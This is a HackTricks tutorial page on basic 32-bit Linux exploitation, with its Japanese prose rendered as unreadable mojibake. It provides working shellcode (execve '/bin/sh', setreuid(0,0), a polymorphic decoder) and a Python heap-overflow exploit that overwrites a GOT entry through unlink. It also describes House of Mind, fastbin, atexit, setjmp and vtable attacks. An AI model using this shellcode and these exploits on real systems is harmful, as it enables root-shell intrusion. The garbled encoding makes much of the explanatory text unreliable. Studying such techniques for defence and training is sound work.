.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
ã«ãŒãã«ã®å²ã蟌ã¿ã衚瀺ãã: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep â__NR_â
setreuid(0,0); // __NR_setreuid 70
execve(â/bin/shâ, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eaxãã¯ãªã¢
xor ebx, ebx ; ebx = 0 ãªã®ã§åŒæ°ã¯æž¡ããªã
mov al, 0x01 ; eax = 1 â> __NR_exit 1
int 0x80 ; ã·ã¹ãã ã³ãŒã«ãå®è¡
nasm -f elf assembly.asm â> .oãã¡ã€ã«ãè¿ã
ld assembly.o -o shellcodeout â> ã¢ã»ã³ããªã³ãŒããã圢æãããå®è¡å¯èœãã¡ã€ã«ãåŸãŠãobjdumpã§ãªãã³ãŒããæœåºã§ãã
objdump -d -Mintel ./shellcodeout â> å®éã«ç§ãã¡ã®ã·ã§ã«ã³ãŒãã§ããããšã確èªãããªãã³ãŒããæœåºãã
ã·ã§ã«ã³ãŒããæ©èœããã確èªãã
char shellcode[] = â\x31\xc0\x31\xdb\xb0\x01\xcd\x80â
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">â</span>
ã·ã¹ãã ã³ãŒã«ãæ£ããè¡ãããŠããã確èªããã«ã¯ãåè¿°ã®ããã°ã©ã ãã³ã³ãã€ã«ããã·ã¹ãã ã³ãŒã«ãstrace ./PROGRAMA_COMPILADOã«è¡šç€ºãããå¿ èŠããããŸãã
ã·ã§ã«ã³ãŒããäœæããéã«ããªãã¯ã䜿ãããšãã§ããŸããæåã®åœä»€ã¯callãžã®ãžã£ã³ãã§ããcallã¯å ã®ã³ãŒããåŒã³åºããããã«EIPãã¹ã¿ãã¯ã«å ¥ããŸããcallåœä»€ã®åŸã«å¿ èŠãªæååãå ¥ããŠããããããã®EIPã䜿ã£ãŠæååãæã瀺ããããã«ã³ãŒãã®å®è¡ãç¶ããããšãã§ããŸãã
EJ ããªã㯠(/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=â/bin/shâ
leal 0x8(%esi), %ecx ; arg[2] = {â/bin/shâ, â0â}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(â/bin/shâ, [â/bin/shâ, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \â/bin/sh\â ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">â</span>
EJ ã¹ã¿ãã¯ã䜿çšã㊠(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; â\0â
push dword 0x68732f2f ; â//shâ
push dword 0x6e69622f; â/binâ
mov ebx, esp ; arg1 = â/bin//sh\0â
push eax ; Null -> args[1]
push ebx ; â/bin/sh\0â -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(â/bin/shâ, args[â/bin/shâ, âNULLâ], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
âŠ
Egg Huter:
ããã»ã¹ã«é¢é£ä»ããããã¡ã¢ãªããŒãžãèµ°æ»ããããã«ä¿åãããã·ã§ã«ã³ãŒããæ¢ãå°ããªã³ãŒãã§æ§æãããŠããŸãïŒã·ã§ã«ã³ãŒãã«èšå®ããã眲åãæ¢ããŸãïŒãã³ãŒããæ³šå ¥ããããã®å°ããªã¹ããŒã¹ãããªãå Žåã«äŸ¿å©ã§ãã
Shellcodes polimórficos
æå·åãããã·ã§ã«ã§æ§æãããŠãããããã埩å·åããŠãžã£ã³ãããå°ããªã³ãŒããæã£ãŠããŸããCall-Popã®ããªãã¯ã䜿çšããŠãããã¯æå·åãããã·ãŒã¶ãŒã®äŸã§ãïŒ
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquà va el shellcode
5.è£å®çææ³
ã ã©ãæè¡
Linuxã§ã¯ãã¹ãŠã®ããã°ã©ã ã¯0xbfffffffãããããã³ã°ãããŸãã
Linuxã§æ°ããããã»ã¹ã®ã¹ã¿ãã¯ãã©ã®ããã«æ§ç¯ãããããèŠãããšã§ãããã°ã©ã ãã·ã§ã«ã³ãŒãã®ã¿ãæã€ç°å¢ã§èµ·åãããããã«ãšã¯ã¹ããã€ããéçºã§ããŸãããã®ã¢ãã¬ã¹ã¯æ¬¡ã®ããã«èšç®ã§ããŸã: addr = 0xbfffffff - 4 - strlen(å®å šãªå®è¡å¯èœãã¡ã€ã«å) - strlen(shellcode)
ãã®ããã«ããŠãã·ã§ã«ã³ãŒããæã€ç°å¢å€æ°ã®ã¢ãã¬ã¹ãç°¡åã«ååŸã§ããŸãã
ããã¯ãexecleé¢æ°ãå¿ èŠãªç°å¢å€æ°ã®ã¿ãæã€ç°å¢ãäœæã§ããããå¯èœã§ãã
ãã©ãŒãããæååã«ãããããã¡ãªãŒããŒãããŒ
sprintfã¯ãã©ãŒããããããæååãå€æ°ã«ç§»åããŸãããããã£ãŠãæååã®ãã©ãŒããããæªçšããŠãå
容ãã³ããŒãããå€æ°ã§ãããã¡ãªãŒããŒãããŒãåŒãèµ·ããããšãã§ããŸãã
äŸãã°ããã€ããŒã%.44xAAAA
ã¯å€æ°ã«44B+"AAAA"ãæžã蟌ã¿ãããã«ãããããã¡ãªãŒããŒãããŒãåŒãèµ·ããå¯èœæ§ããããŸãã
__atexitæ§é äœ
{% hint style="danger" %} çŸåšãããããšã¯ã¹ããã€ãããã®ã¯éåžžã«å¥åŠã§ãã {% endhint %}
atexit()
ã¯ãä»ã®é¢æ°ããã©ã¡ãŒã¿ãšããŠæž¡ãããé¢æ°ã§ãããããã®é¢æ°ã¯ãexit()
ãŸãã¯mainã®æ»ããå®è¡ããéã«å®è¡ãããŸãã
ãããã®é¢æ°ã®ããããã®ã¢ãã¬ã¹ãã·ã§ã«ã³ãŒããæãããã«å€æŽã§ããã°ãããã»ã¹ã®å¶åŸ¡ãåŸãããšãã§ããŸãããçŸåšã¯ãããããè€éã§ãã
çŸåšãå®è¡ãããé¢æ°ãžã®ã¢ãã¬ã¹ã¯ãããã€ãã®æ§é ã®èåŸã«é ãããŠãããæçµçã«æãã¢ãã¬ã¹ã¯é¢æ°ã®ã¢ãã¬ã¹ã§ã¯ãªããXORã§æå·åãããã©ã³ãã ããŒã§ãªãã»ãããããŠããŸãããããã£ãŠãçŸåšãã®æ»æãã¯ã¿ãŒã¯x86ããã³x64_86ã§ã¯ããŸã圹ã«ç«ã¡ãŸããã
æå·åé¢æ°ã¯**PTR_MANGLE
ã§ããm68kãmips32ãmips64ãaarch64ãarmãhppaãªã©ã®ä»ã®ã¢ãŒããã¯ãã£ã¯ãæå·åé¢æ°ãå®è£
ããŠããŸããããªããªããããã¯å
¥åãšããŠåãåã£ããã®ãšåã**ãè¿ãããã§ãããããã£ãŠããããã®ã¢ãŒããã¯ãã£ã¯ãã®ãã¯ã¿ãŒã§æ»æå¯èœã§ãã
setjmp() & longjmp()
{% hint style="danger" %} çŸåšãããããšã¯ã¹ããã€ãããã®ã¯éåžžã«å¥åŠã§ãã {% endhint %}
setjmp()
ã¯ã³ã³ããã¹ãïŒã¬ãžã¹ã¿ïŒãä¿åããããšãå¯èœã«ããŸãã
longjmp()
ã¯ã³ã³ããã¹ãã埩å
ããããšãå¯èœã«ããŸãã
ä¿åãããã¬ãžã¹ã¿ã¯: EBX, ESI, EDI, ESP, EIP, EBP
åé¡ã¯ãEIPãšESPã**PTR_MANGLE
**é¢æ°ã«ãã£ãŠæž¡ãããããšã§ãããããã£ãŠããã®æ»æã«å¯ŸããŠè匱ãªã¢ãŒããã¯ãã£ã¯äžèšãšåãã§ãã
ãããã¯ãšã©ãŒå埩ãå²ã蟌ã¿ã«åœ¹ç«ã¡ãŸãã
ããããç§ãèªãã ãšããã«ããã°ãä»ã®ã¬ãžã¹ã¿ã¯ä¿è·ãããŠããªãããã**é¢æ°å
ã«call ebx
ãcall esi
ããŸãã¯call edi
**ãããå Žåãå¶åŸ¡ã奪ãããšãã§ããŸãããŸããEBPãå€æŽããŠESPãå€æŽããããšãã§ããŸãã
C++ã«ãããVTableãšVPTR
åã¯ã©ã¹ã«ã¯Vtableããããããã¯ã¡ãœãããžã®ãã€ã³ã¿ã®é åã§ãã
åã¯ã©ã¹ã®ãªããžã§ã¯ãã«ã¯VPtrããããããã¯ãã®ã¯ã©ã¹ã®é åãžã®ãã€ã³ã¿ã§ããVPtrã¯åãªããžã§ã¯ãã®ããããŒã®äžéšã§ãããããVPtrã®äžæžããæåããã°ããããŒã¡ãœãããæãããã«å€æŽã§ããé¢æ°ãå®è¡ãããšã·ã§ã«ã³ãŒãã«é£ã¶ããšãã§ããŸãã
äºé²æªçœ®ãšåé¿ç
Libsafeã®çœ®ãæã
次ã®ããã«ã¢ã¯ãã£ãåãããŸã: LD_PRELOAD=/lib/libsafe.so.2
ãŸãã¯
â/lib/libsave.so.2â > /etc/ld.so.preload
äžå®å šãªé¢æ°ãžã®åŒã³åºããå®å šãªãã®ã«çœ®ãæããŸããæšæºåãããŠããŸãããïŒx86å°çšã-fomit-frame-pointerã§ã³ã³ãã€ã«ããããã®ã«ã¯é©çšããããéçã³ã³ãã€ã«ã«ã¯é©çšãããããã¹ãŠã®è匱ãªé¢æ°ãå®å šã«ãªãããã§ã¯ãªããLD_PRELOADã¯suidãã€ããªã«ã¯æ©èœããŸããïŒã
ASCIIè£ ç²ã¢ãã¬ã¹ç©ºé
å ±æã©ã€ãã©ãªã0x00000000ãã0x00ffffffãŸã§èªã¿èŸŒãããšã§ãåžžã«ãã€ã0x00ãååšããããã«ããŸããããããããã¯å®éã«ã¯ã»ãšãã©ã®æ»æãé²ãããšã¯ã§ãããç¹ã«ãªãã«ãšã³ãã£ã¢ã³ã§ã¯å¹æããããŸããã
ret2plt
ROPãå®è¡ããŠstrcpy@pltïŒpltã®ïŒãåŒã³åºããGOTã®ãšã³ããªãæããåŒã³åºãããé¢æ°ã®æåã®ãã€ãïŒsystem()ïŒãã³ããŒããŸãããã®åŸãGOT+1ãæããsystem()ã®2ãã€ãç®ãã³ããŒããŸã⊠æåŸã«ãGOTã«ä¿åãããã¢ãã¬ã¹ãåŒã³åºããŸãããããsystem()ã«ãªããŸãã
chroot()ã«ãããµã³ãããã¯ã¹
debootstrap -arch=i386 hardy /home/user â> ç¹å®ã®ãµããã£ã¬ã¯ããªã«åºæ¬ã·ã¹ãã ãã€ã³ã¹ããŒã«ããŸãã
管çè ã¯æ¬¡ã®ããã«ããŠãããã®ãµã³ãããã¯ã¹ããåºãããšãã§ããŸã: mkdir foo; chroot foo; cd ..
ã³ãŒãã®ã€ã³ã¹ãã¥ã«ã¡ã³ããŒã·ã§ã³
Valgrind â> ãšã©ãŒãæ¢ããŸãã
Memcheck
RADïŒãªã¿ãŒã³ã¢ãã¬ã¹ãã£ãã§ã³ããŒïŒ
Insure++
8 ããŒããªãŒããŒãããŒ: åºæ¬çãªãšã¯ã¹ããã€ã
å²ãåœãŠããããã£ã³ã¯
prev_size |
size | âããããŒ
*mem | ããŒã¿
空ããã£ã³ã¯
prev_size |
size |
*fd | åæ¹ãã£ã³ã¯ãžã®ãã€ã³ã¿
*bk | åŸæ¹ãã£ã³ã¯ãžã®ãã€ã³ã¿ âããããŒ
*mem | ããŒã¿
空ããã£ã³ã¯ã¯åæ¹åãªã¹ãïŒbinïŒã«ããã2ã€ã®ç©ºããã£ã³ã¯ãé£æ¥ããããšã¯ãããŸããïŒçµåãããŸãïŒã
âsizeâã«ã¯ãåã®ãã£ã³ã¯ã䜿çšäžãã©ããããã£ã³ã¯ãmmap()ã«ãã£ãŠå²ãåœãŠããããã©ããããã£ã³ã¯ããã©ã€ããªã¢ãªãŒãã«å±ãããã©ããã瀺ããããããããŸãã
ãã£ã³ã¯ã解æŸããéã«ãé£æ¥ãããã£ã³ã¯ã®ããããã空ããŠããå Žåããããã¯unlink()ãã¯ããä»ããŠçµåãããæ°ãã倧ããªãã£ã³ã¯ãfrontlink()ã«æž¡ãããé©åãªbinã«æ¿å ¥ãããŸãã
unlink(){
BK = P->bk; â> æ°ãããã£ã³ã¯ã®BKã¯ã以åã«ç©ºããŠãããã£ã³ã¯ã®BKã§ãã
FD = P->fd; â> æ°ãããã£ã³ã¯ã®FDã¯ã以åã«ç©ºããŠãããã£ã³ã¯ã®FDã§ãã
FD->bk = BK; â> 次ã®ãã£ã³ã¯ã®BKã¯æ°ãããã£ã³ã¯ãæããŸãã
BK->fd = FD; â> åã®ãã£ã³ã¯ã®FDã¯æ°ãããã£ã³ã¯ãæããŸãã
}
ãããã£ãŠãP->bkãã·ã§ã«ã³ãŒãã®ã¢ãã¬ã¹ã«ãP->fdãGOTãŸãã¯DTORSã®ãšã³ããªã®ã¢ãã¬ã¹-12ã«å€æŽããããšãã§ããã°ã次ã®ããã«ãªããŸã:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
ããã«ãããããã°ã©ã çµäºæã«ã·ã§ã«ã³ãŒããå®è¡ãããŸãã
ããã«ãunlink()ã®4çªç®ã®æã¯äœããæžã蟌ã¿ãã·ã§ã«ã³ãŒãã¯ããã«å¯ŸããŠä¿®æ£ãããå¿ èŠããããŸã:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) â> ããã«ãããã·ã§ã«ã³ãŒãã®8ãã€ãç®ãã4ãã€ããæžã蟌ãŸãããããã·ã§ã«ã³ãŒãã®æåã®åœä»€ã¯ãããã¹ãããããŠæ®ãã®ã·ã§ã«ã³ãŒãã«é£ã¶ããã®jmpã§ããå¿ èŠããããŸãã
ãããã£ãŠããšã¯ã¹ããã€ãã¯æ¬¡ã®ããã«äœæãããŸã:
buffer1ã«ã·ã§ã«ã³ãŒããå ¥ããæåã«jmpãå ¥ããŠnopsãŸãã¯ã·ã§ã«ã³ãŒãã®æ®ãã«é£ã¶ããã«ããŸãã
ã·ã§ã«ã³ãŒãã®åŸã«ã次ã®ãã£ã³ã¯ã®prev_sizeãšsizeãã£ãŒã«ãã«å°éãããŸã§ããã£ã³ã°ãå ¥ããŸãããããã®å Žæã«0xfffffff0ïŒprev_sizeã空ããŠããããšã瀺ãããããæã€ããã«äžæžããããïŒãšâ-4âïŒ0xfffffffcïŒãsizeã«å ¥ããŸãïŒ3çªç®ã®ãã£ã³ã¯ã§2çªç®ãå®éã«ç©ºããŠãããã©ããã確èªããéã«ãå€æŽãããprev_sizeã«è¡ãããã«ããŸãïŒ -> ããã«ãããfree()ã調æ»ãããšã3çªç®ã®sizeã«è¡ããŸãããå®éã«ã¯2çªç®ã®-4ã«è¡ãã2çªç®ã®ãã£ã³ã¯ã空ããŠãããšèããŸãããããŠã**unlink()**ãåŒã³åºããŸãã
unlink()ãåŒã³åºããšãP->fdãšããŠ2çªç®ã®ãã£ã³ã¯ã®æåã®ããŒã¿ã䜿çšãããããããã«äžæžããããã¢ãã¬ã¹-12ïŒFD->bkã«12ãå ç®ããŸãïŒãå ¥ããŸãããããŠããã®ã¢ãã¬ã¹ã«2çªç®ã®ãã£ã³ã¯ã§èŠã€ãã2çªç®ã®ã¢ãã¬ã¹ãå ¥ããŸãããããã·ã§ã«ã³ãŒããžã®ã¢ãã¬ã¹ïŒåœã®P->bkïŒã«ãªããŸãã
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12ãã€ãã®ããã£ã³ã°
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<Iâ, 0xfffffff0) #åã®ãã£ã³ã¯ã空ããŠããããšã瀺ããããã1ã§ããããšãéèŠã§ã
fake_size = pack("<Iâ, 0xfffffffc) #-4ã3çªç®ã®ãã£ã³ã¯ã®âsizeâã4ãã€ãåŸãã«ãããšèããããããïŒprev_sizeãæãïŒ
addr_sc = pack("<I", 0x0804a008 + 8) #ãã€ããŒãã®æåã«8ãã€ãã®ããã£ã³ã°ãå ¥ããŸã
got_free = pack("<I", 0x08048300 - 12) #free()ã®ã¢ãã¬ã¹ãplt-12ã«ïŒã·ã§ã«ã³ãŒããåŒã³åºãããã«äžæžããããã¢ãã¬ã¹ïŒ
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #ãã€ããŒãã¯æåã«8ãã€ãã®ããã£ã³ã°ããå§ãŸããŸã
payload += prev_size + fake_size + got_free + addr_sc #2çªç®ã®ãã£ã³ã¯ãå€æŽããgot_freeã¯addr_sc + 12ã®ã¢ãã¬ã¹ãä¿åããå ŽæãæããŸã
os.system("./8.3.o " + payload)
unset() éé ã§è§£æŸïŒwargameïŒ
3ã€ã®é£ç¶ãããã£ã³ã¯ãå¶åŸ¡ããŠãããäºçŽãããé åºãšã¯éã«è§£æŸãããŸãã
ãã®å Žå:
ãã£ã³ã¯cã«ã·ã§ã«ã³ãŒãã眮ããŸãã
ãã£ã³ã¯aã䜿çšããŠbãäžæžãããsizeãPREV_INUSEãããããªãã«ããŠããã£ã³ã¯aã空ããŠãããšèããããŸãã
ããã«ãbã®ããããŒã®sizeã-4ã«äžæžãããŸãã
ããã«ãããããã°ã©ã ã¯âaâã空ããŠãããšèããbinã«å ¥ããããunlink()ãåŒã³åºããŸããããããããããŒã®PREV_SIZEã-4ã§ããããããã£ã³ã¯âaâã¯å®éã«ã¯b+4ããå§ãŸããšèããŸããã€ãŸããb+4ããå§ãŸããã£ã³ã¯ã«unlink()ãè¡ããb+12ã«fdãã€ã³ã¿ããããb+16ã«bkãã€ã³ã¿ããããŸãã
ãã®ããã«ããŠãbkã«ã·ã§ã«ã³ãŒãã®ã¢ãã¬ã¹ããfdã«âputs()âã®ã¢ãã¬ã¹-12ãå ¥ããããšã§ããã€ããŒããå®æããŸãã
ããã³ããªã³ã¯æè¡
ããã³ããªã³ã¯ã¯ãäœãã解æŸãããšãã«ãã®é£æ¥ãããã£ã³ã¯ã空ããŠããªãå Žåã«åŒã³åºãããunlink()ã§ã¯ãªãçŽæ¥frontlink()ãåŒã³åºãããŸãã
mallocãæ»æããããšãã«æ±ºããŠè§£æŸãããªãå Žåã«æçšã§ãã
å¿ èŠãªãã®:
ããŒã¿å ¥åé¢æ°ã§ãªãŒããŒãããŒã§ãããããã¡
ãã®é£æ¥ãããããã¡ã¯è§£æŸãããåã®ãããã¡ã®ãªãŒããŒãããŒã«ãã£ãŠããããŒã®fdãã£ãŒã«ããå€æŽãããŸãã
ãµã€ãºã512ãã倧ãããåã®ãããã¡ããå°ãããããã¡
ãã®3çªç®ã®ãããã¡ã®prev_sizeãäžæžãã§ããããã«ãåã«å®£èšããããããã¡
ãã®ããã«ããŠã2ã€ã®mallocãå¶åŸ¡äžèœã«äžæžããã1ã€ãå¶åŸ¡ããã圢ã§è§£æŸããããšã§ããšã¯ã¹ããã€ããäœæã§ããŸãã
ããã«ããªãŒ()ã®è匱æ§
åããã€ã³ã¿ã§free()ã2ååŒã³åºããšã2ã€ã®binãåãã¢ãã¬ã¹ãæããŸãã
1ã€ãåå©çšããããšãããšãåé¡ãªãå²ãåœãŠãããŸããå¥ã®ãã®ã䜿çšããããšãããšãåãã¹ããŒã¹ãå²ãåœãŠãããããããã€ã³ã¿âfdâãšâbkâã以åã®äºçŽã«ãã£ãŠæžã蟌ãŸããããŒã¿ã§åœè£ ãããŸãã
free()åŸ
以åã«è§£æŸããããã€ã³ã¿ãåã³å¶åŸ¡ãªãã«äœ¿çšãããŸãã
8 ããŒããªãŒããŒãããŒ: é«åºŠãªãšã¯ã¹ããã€ã
unlink()ãšfrontlink()ã®æè¡ã¯ãunlink()é¢æ°ãå€æŽããããšã§åé€ãããŸããã
å¿ã®å®¶
ä»»æã®ã³ãŒããå®è¡ããã«ã¯ãfree()ã1ååŒã³åºãã ãã§æžã¿ãŸããæ»æè ãåã®ãã£ã³ã¯ã«ãã£ãŠãªãŒããŒãããŒããã解æŸãããå¯èœæ§ã®ãã2çªç®ã®ãã£ã³ã¯ãæ¢ãããšãéèŠã§ãã
free()ã®åŒã³åºãã¯public_fREe(mem)ãåŒã³åºãããããè¡ããŸã:
mstate ar_ptr;
mchunkptr p;
âŠ
p = mem2chunk(mem); â> ãã£ã³ã¯ã®éå§ã¢ãã¬ã¹ãžã®ãã€ã³ã¿ãè¿ããŸãïŒmem-8ïŒ
âŠ
ar_ptr = arena_for_chunk(p); â> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
âŠ
_int_free(ar_ptr, mem);
}
[1]ã§ã¯ãsizeãã£ãŒã«ãã®NON_MAIN_ARENAãããã確èªãããã®ããããå€æŽããŠãã§ãã¯ãtrueãè¿ãããã«ããheap_for_ptr()ãå®è¡ããŸããããã«ãããmemã®æãéèŠã§ãªã2.5ãã€ãã0ã«èšå®ããïŒãã®å Žå0x0804a000ãã0x08000000ã«ãªããŸãïŒã0x08000000->ar_ptrã«ã¢ã¯ã»ã¹ããŸãïŒheap_infoæ§é äœã®ããã«ïŒã
ãã®ããã«ããŠãäŸãã°0x0804a000ã®ãã£ã³ã¯ãå¶åŸ¡ã§ãã0x081002a0ã§ãã£ã³ã¯ã解æŸããããšã0x08100000ã«å°éããä»»æã®ãã®ãæžã蟌ãããšãã§ããŸããäŸãã°0x0804a000ããã®2çªç®ã®ãã£ã³ã¯ã解æŸããããšãheap_for_ptr(ptr)->ar_ptrã¯0x08100000ã«æžã蟌ãŸãããã®ãè¿ããŸãïŒåè¿°ã®andã0x081002a0ã«é©çšãããæåã®4ãã€ãã®å€ãååŸãããŸãïŒã
ãã®ããã«ããŠã_int_free(ar_ptr, mem)ãåŒã³åºãããŸããã€ãŸãã_int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
âŠ
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
åè¿°ã®ããã«ãavã®å€ãå¶åŸ¡ã§ããããšãããããŸããããã¯ã解æŸããããã£ã³ã¯ã«æžã蟌ãã ãã®ã§ãã
unsorted_chunksãå®çŸ©ãããŠããããã«ã次ã®ããšãããããŸã:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
ãããã£ãŠãav->bins[2]ã«__DTOR_END__-12ã®å€ãæžã蟌ããšãæåŸã®åœä»€ã§__DTOR_END__ã«2çªç®ã®ãã£ã³ã¯ã®ã¢ãã¬ã¹ãæžã蟌ãŸããŸãã
ã€ãŸããæåã®ãã£ã³ã¯ã®æåã«__DTOR_END__-12ã®ã¢ãã¬ã¹ãäœåºŠãå ¥ããå¿ èŠããããŸãããªããªããav->bins[2]ãããããååŸããããã§ãã
2çªç®ã®ãã£ã³ã¯ã®ã¢ãã¬ã¹ã«æåŸã®5ã€ã®ãŒããããå Žåãæåã®ãã£ã³ã¯ã®ã¢ãã¬ã¹ãæžã蟌ãå¿ èŠããããŸããããã«ãããheap_for_ptr()ã¯ar_ptrãæåã®ãã£ã³ã¯ã®éå§äœçœ®ã«ãããšèããav->bins[2]ãååŸããŸãã
2çªç®ã®ãã£ã³ã¯ã§ã¯ãæåã®ãã£ã³ã¯ã®ãããã§prev_sizeã0x0cã®jmpã§äžæžãããsizeãNON_MAIN_ARENAãæå¹ã«ããããã®äœãã«ããŸãã
次ã«ããã£ã³ã¯2ã«ããããã®nopsã眮ããæåŸã«ã·ã§ã«ã³ãŒãã眮ããŸãã
ãã®ããã«ããŠã_int_free(TROZO1, TROZO2)ãåŒã³åºãããTROZO2ã®prev_sizeã«ã·ã§ã«ã³ãŒããžã®ã¢ãã¬ã¹ãæžã蟌ãŸããŸãã
ãã®æè¡ãé©çšããã«ã¯ããã€ããŒããå°ãè€éã«ããããã«ããã€ãã®èŠä»¶ãæºããå¿ èŠããããŸãã
ãã®æè¡ã¯ãunlinkã«å¯ŸããŠã»ãŒåãããããé©çšãããããããã¯ãé©çšã§ããŸãããæ°ãããã€ã³ã¿ãèªåèªèº«ãæããŠãããã©ãããæ¯èŒããŸãã
ãã¡ã¹ããã³
ããã¯å¿ã®å®¶ã®å€çš®ã§ãã
次ã®ã³ãŒããå®è¡ããããã«å¿ èŠã§ããããã¯ã_int_free()é¢æ°ã®æåã®ãã§ãã¯ãééããåŸã«å°éããŸãã
fb = &(av->fastbins[fastbin_index(size)] â> fastbin_index(sz) â> (sz >> 3) - 2
âŠ
p->fd = *fb
*fb = p
ãã®ããã«ããŠãfbã«GOTã®é¢æ°ã®ã¢ãã¬ã¹ãå ¥ãããšããã®ã¢ãã¬ã¹ã«äžæžãããããã£ã³ã¯ã®ã¢ãã¬ã¹ãå ¥ããŸãããããè¡ãã«ã¯ãã¢ãªãŒããdtorsã®ã¢ãã¬ã¹ã®è¿ãã«ããå¿ èŠããããŸããããæ£ç¢ºã«ã¯ãav->max_fastãäžæžãããã¢ãã¬ã¹ã«ããå¿ èŠããããŸãã
å¿ã®å®¶ã§èŠãããã«ãavã®äœçœ®ãå¶åŸ¡ã§ããããšãããããŸãã
ãããã£ãŠãsizeãã£ãŒã«ãã«8 + NON_MAIN_ARENA + PREV_INUSEã®ãµã€ãºãå ¥ãããšãfastbin_index()ã¯fastbins[-1]ãè¿ããav->max_fastãæããŸãã
ãã®å Žåãav->max_fastã¯äžæžããããã¢ãã¬ã¹ã«ãªããŸãïŒæãã®ã§ã¯ãªãããã®äœçœ®ãäžæžããããŸãïŒã
ããã«ã解æŸããããã£ã³ã¯ã®é£æ¥ãã£ã³ã¯ã¯8ãã倧ãããªããã°ãªããŸãã -> å ã»ã©è§£æŸããããã£ã³ã¯ã®ãµã€ãºã8ã§ããããããã®åœã®ãã£ã³ã¯ã«ã¯8ãã倧ãããµã€ãºãå ¥ããå¿ èŠããããŸãïŒã·ã§ã«ã³ãŒãã解æŸããããã£ã³ã¯ã«å ¥ããããæåã«nopsã«é£ã¶jmpãå ¥ããå¿ èŠããããŸãïŒã
ããã«ããã®åœã®ãã£ã³ã¯ã¯av->system_memããå°ãããªããã°ãªããŸãããav->system_memã¯1848ãã€ãå ã«ãããŸãã
__DTOR_END_ã®ãŒããšGOTã®ã¢ãã¬ã¹ã®å°ãªãã®ããããããã®ã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ã¯äžæžãããã®ã«é©ããŠããªããããã¹ã¿ãã¯ãæ»æããããã«ãã¡ã¹ããã³ãé©çšããæ¹æ³ãèŠãŠã¿ãŸãããã
å¥ã®æ»ææ¹æ³ã¯ãavãã¹ã¿ãã¯ã«ãªãã€ã¬ã¯ãããããšã§ãã
ãµã€ãºã8ã§ã¯ãªã16ã«å€æŽãããšãfastbin_index()ã¯fastbins[0]ãè¿ããããã䜿çšããŠã¹ã¿ãã¯ãäžæžãã§ããŸãã
ãããè¡ãã«ã¯ãcanaryãã¹ã¿ãã¯ã«å¥åŠãªå€ããªãå¿ èŠããããŸããå®éã次ã®ããã«ããå¿ èŠããããŸã: 4ãã€ãã®ãŒã + EBP + RET
4ãã€ãã®ãŒãã¯ãavããã®ã¢ãã¬ã¹ã«ããå¿ èŠããããavã®æåã®èŠçŽ ã¯ãã¥ãŒããã¯ã¹ã§0ã§ããå¿ èŠããããŸãã
av->max_fastã¯EBPã§ãããå¶çŽãåé¿ããããã«åœ¹ç«ã€å€ã«ãªããŸãã
av->fastbins[0]ã¯pã®ã¢ãã¬ã¹ã§äžæžããããRETã«ãªããŸããããã«ãããã·ã§ã«ã³ãŒãã«é£ã³ãŸãã
ããã«ãav->system_memïŒã¹ã¿ãã¯ã®äœçœ®ãã1484ãã€ãäžïŒã«ã¯ããã§ãã¯ãåé¿ããããã®ååãªãŽããå«ãŸããŸãã
